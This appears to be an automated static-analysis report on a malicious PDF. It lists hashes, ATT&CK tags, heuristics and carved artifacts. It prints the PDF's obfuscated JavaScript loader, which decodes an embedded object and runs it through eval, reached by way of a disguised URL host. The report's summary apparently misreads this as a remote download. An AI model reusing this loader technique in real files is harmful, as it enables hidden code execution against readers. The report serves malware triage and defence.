Malicious PDF — malware analysis report

Static analysis result for SHA-256 88b647e501d0bf53…

MALICIOUS

PDF

4.5 KB First seen: 2013-07-25
MD5: 96737fdb021ccfe49c7ec77f2090c017 SHA-1: 1f69f3750e8329ac1d6d34a92c168906fd9cc57b SHA-256: 88b647e501d0bf530be86193ad711bef6ac54077e05d43e3cbdbb576655230e9
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains a malformed JavaScript stream that attempts to download a second-stage payload from the hardcoded URL 'http://eval/query?a=exemple&b=2'. The script reconstructs the URL from concatenated strings and then calls a function derived from the host, likely to execute the downloaded content. The ML classifier strongly indicates maliciousness, and the presence of embedded files and JavaScript actions further supports this.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 78030 bytes
SHA-256: 56b30fee3c6ab65b28d1340f7aab8c73909a284f0a238442b007f20fc7eac505
Detection
ClamAV: No threats found
Obfuscation or payload: likely
266 of 266 identifiers look randomly generated (e.g. 'J5XAP8DXDjF4HjpK1J5XAP8DXDjF4HjpK2J5XAP8') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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